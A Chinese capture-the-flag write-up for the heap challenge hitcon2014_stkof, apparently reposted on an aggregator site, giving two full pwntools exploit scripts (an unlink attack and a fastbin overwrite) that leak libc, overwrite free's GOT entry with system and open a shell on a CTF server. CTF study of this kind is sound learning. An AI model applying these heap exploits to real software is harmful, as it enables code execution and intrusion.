[BUUCTF]-PWN:hitcon2014_stkof解析

又是一道堆题,先看保护

关键信息,64位,没开pie。再看ida

大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题

这里有两种解法

解法一(unlink):

这里要着重讲一下这个解法,因为我在前面的堆题里几乎没有用过这个方法解题,而且unlink也是一种值得去用的解法。

解题思路:

从创建堆块的函数里可以看到,堆块的指针存储在一个名为s的指针数组里,可以触发unlink修改堆块指针为s附近的地址,修改该堆块内容把两个堆块指针分别修改为free的got以及任意函数的got,把free的got里内容修改为puts的plt地址,打印出任意函数的got内容,泄露libc,得到system函数地址,把free的got内容修改为system,然后getshell

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
pchunk=0x602150
free_got=0x602018
puts_got=0x602020
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10)
alloc(0x20)
alloc(0x80)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(pchunk-0x18)+p64(pchunk-0x10)+p64(0x20)+p64(0x90)
fill(2,len(payload),payload)
free(3)
payload=p64(0)*2+p64(free_got)+p64(libc_start_main_got)
fill(2,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('__libc_start_main',libc_start_addr)
libcbase=libc_start_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
alloc(0x20)
payload=b'/bin/sh\x00'
fill(4,len(payload),payload)
free(4)
p.interactive()

unlink:

应用:

首先,设某一堆块的指针存储在pchunk地址处,在该堆块中伪造堆块,填充数据伪造堆头,利用填充堆块内容的函数将该堆块的fd和bk处分别修改为pchunk-0x18,pchunk-0x10,然后将相邻的下一堆块的priv_size修改为伪造的堆块的大小,堆头size修改为相应的大小,然后释放相邻堆块(大小需为非fastbin)就可以触发unlink,将该堆块的指针修改为pchunk-0x18了。

例如exp中的:

payload=p64(0)+p64(0x21)
payload+=p64(pchunk-0x18)+p64(pchunk-0x10)
payload+=p64(0x20)+p64(0x90) #这里直接输入这样是因为伪造堆块的大小较小不用填充无关数据

如果伪造的堆块大小较大,需要填充无关数据至相邻堆块的堆头。

原理:

原理可以看一下这篇文章,写得很详细

https://blog.csdn.net/qq_41202237/article/details/108481889

第二种解法:

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
s=0x602140
free_got=0x602018
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10) #1
alloc(0x10) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x80) #5
free(3)
free(4)
payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(s-115)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)*13+p8(0)*3+p64(free_got)+p64(libc_start_main_got)
fill(7,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
payload=b'/bin/sh\x00'
fill(5,len(payload),payload)
free(5)
p.interactive()

直接释放两个堆块,利用堆溢出在堆块指针数组s附近创建堆块,修改指针。

这种方法比较简单粗暴一点,但是还是建议用unlink去解题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/651783.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【VB测绘程序设计】案例8——IF选择结构练习排序(附源代码)

【VB测绘程序设计】案例6——IF选择结构练习排序(附源代码) 文章目录 前言一、界面显示二、程序说明三、程序代码四、数据演示总结前言 本文主要掌握Val()函数转换,inputBox函数、IF条件句的练习,输入3个数,按大到小排序并打印。 一、界面显示 二、程序说明 利用inpu…

[BJDCTF2020]The mystery of ip

hint 猜测ip和XFF有关 加一个XFF 下面这一步是看了wp出来的:存在ssti 这里尝试用jinja的注入方法,页面回显了是php的smarty框架 查了一下smarty的注入方法,发现可以直接执行php命令 在根目录找到flag

RPC教程 6.负载均衡

1.负载均衡策略 假设有多个服务实例,而每个实例都提供相同的功能,为了提高整个系统的吞吐量,每个实例部署在不同的机器上。客户端可以选择任意一个实例进行调用,获取想要的结果。那如何选择呢?取决于负载均衡的策略。…

Visual Studio如何修改成英文版

1、打开 Visual Studio Installer 2、点击修改 3、找到语言包,选择需要的语言包,而后点击修改 4、等待下载 5、 安装完成后启动Visual Studio 6、在工具-->选项-->环境-->区域设置-->English并确定 7、重启 Visual Studio,配置…

数据结构与算法教程,数据结构C语言版教程!(第六部分、数据结构树,树存储结构详解)三

第六部分、数据结构树,树存储结构详解 数据结构的树存储结构,常用于存储逻辑关系为 "一对多" 的数据。 树存储结构中,最常用的还是二叉树,本章就二叉树的存储结构、二叉树的前序、中序、后序以及层次遍历、线索二叉树、…

QT实现USB摄像头接入显示

一、UVC协议简介 UVC全称是USB Video Class(USB视频类),是一种标准化的USB视频设备通信协议,它定义了摄像头与主机之间的数据传输协议和格式。 UVC协议的出现,解决了摄像头厂商之间互不兼容,以及摄像头应…

(二十八)ATP应用测试平台——使用electron集成vue3桌面应用程序

前言 Electron 是一个开源的框架,它允许使用 Web 技术(HTML、CSS 和 JavaScript)构建跨平台的桌面应用程序。通过 Electron,开发者可以使用前端技术栈来创建具有原生应用程序体验的桌面应用。 Electron可以在 Windows、Mac 和 L…

【前端web入门第一天】02 HTML图片标签 超链接标签 音频标签 视频标签

文章目录: 1.HTML图片标签 1.1 图像标签-基本使用1.2 图像标签-属性1.3 路径 1.3.1 相对路径 1.3.2 绝对路径 2.超链接标签 3.音频标签 4.视频标签 1.HTML图片标签 1.1 图像标签-基本使用 作用:在网页中插入图片。 <img src"图片的URL">src用于指定图像…

HCS 华为云Stack产品组件

HCS 华为云Stack产品组件 Cloud Provisioning Service(CPS) 负责laas的云平台层的部署和升级是laas层中真正面向硬件设备&#xff0c;并将其池化软件化的部件。 Service OM 资源池(计算/存储/网络)以及基础云服务(ECS/EVS/PC)的管理工具。 ManageOne ManageOne包括服务中心…

数据结构(1)--> 顺序表

定义&#xff1a; 顺序表存储定义&#xff1a; 把逻辑上相邻的数据元素存储在物理上相邻的存储单元中的存储结构&#xff0c;顺序表功能的实现借助于数组&#xff0c;通过对数组进行封装&#xff0c;从而实现增删查改的功能&#xff0c;严格意义上来说&#xff08;数组无法实现…

第六课:Prompt

文章目录 第六课&#xff1a;Prompt1、学习总结&#xff1a;Prompt介绍预训练和微调模型回顾挑战 Pre-train, Prompt, PredictPrompting是什么?prompting流程prompt设计 课程ppt及代码地址 2、学习心得&#xff1a;3、经验分享&#xff1a;4、课程反馈&#xff1a;5、使用Mind…

由两个有限项的等差数列B, C, 求有多少个有限项的等差数列A,满足C是A, B的所有公共项,若有无穷个A满足条件,输出-1

题目 思路&#xff1a; #include <bits/stdc.h> using namespace std; #define int long long #define pb push_back const int maxn 1e6 5, inf 1e9 5, maxm 4e4 5, mod 1e9 7, N 1e6; // int a[maxn], b[maxn]; int n, m; string s;int qpow(int a, int b){i…

Unity中创建Ultraleap 3Di交互项目

首先&#xff0c;创建新的场景 1、创建一个空物体&#xff0c;重命名为【XP Leap Provider Manager】&#xff0c;并在这个空物体上添加【XR Leap Provider Manager】 在物体XP Leap Provider Manager下&#xff0c;创建两个子物体Service Provider(XR)和Service Provider(…

C语言与操作符相关的经典例题

目录 一道变态的面试题&#xff1a;不能创建临时变量&#xff08;第三个变量&#xff09;&#xff0c;实现两个数的交换。 编写代码实现&#xff1a;求一个整数存储在内存中的二进制中1的个数。 二进制位置0或者置1 如果以下的知识点不是很清楚的可以去看这篇文章&#xff1…

阿里云部署配置幻兽帕鲁Palworld联机服务器详细教程

阿里云作为国内领先的云计算服务提供商&#xff0c;为企业和个人提供了丰富的云服务。本文将为大家详细介绍如何在阿里云上配置幻兽帕鲁Palworld联机服务器&#xff0c;以便与更多玩家共同体验游戏的乐趣。 第一步&#xff1a;登录服务器创建页 1、进入幻兽帕鲁联机服务快速部…

11. 双目视觉之立体视觉基础

目录 1. 深度恢复1.1 单目相机缺少深度信息1.2 如何恢复场景深度&#xff1f;1.3 深度恢复的思路 2. 对极几何约束2.1 直观感受2.2 数学上的描述 1. 深度恢复 1.1 单目相机缺少深度信息 之前学习过相机模型&#xff0c;最经典的就是小孔成像模型。我们知道相机通过小孔成像模…

力扣LCR 180. 文件组合(双指针)

Problem: LCR 180. 文件组合 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 本题目可以利用滑动窗口的技巧&#xff08;滑动窗口就是双指针的运用&#xff09;解决&#xff0c;具体实现如下 1.逻辑上生成窗口&#xff1a;让两个指针i&#xff0c;j分别初始化为1…

Java基本数据类型-字符型,布尔型

目录 字符型转义字符实例运行结果 ASCII码实例运行结果 布尔型实例运行结果 字符型 Java中使用单引号来表示字符常量&#xff0c;字符型在内存中占2个字节。char 类型用来表示在Unicode编码表中的字符。Unicode编码被设计用来处理各种语言的文字&#xff0c;它占2个字节&#…

3DGS 其二:Street Gaussians for Modeling Dynamic Urban Scenes

3DGS 其二&#xff1a;Street Gaussians for Modeling Dynamic Urban Scenes 1. 背景介绍1.1 静态场景建模1.2 动态场景建模 2. 算法2.1 背景模型2.2 目标模型 3. 训练3.1 跟踪优化 4. 下游任务 Reference&#xff1a; Street Gaussians for Modeling Dynamic Urban Scenes 1.…

Linux——常用命令

1、命令的基本格式 对服务器来讲&#xff0c;图形界面会占用更多的系统资源&#xff0c;而且会安装更多的服务、开放更多的端口&#xff0c;这对服务器的稳定性和安全性都有负面影响。其实&#xff0c;服务器是一个连显示器都没有的家伙&#xff0c;要图形界面干什么&#xff…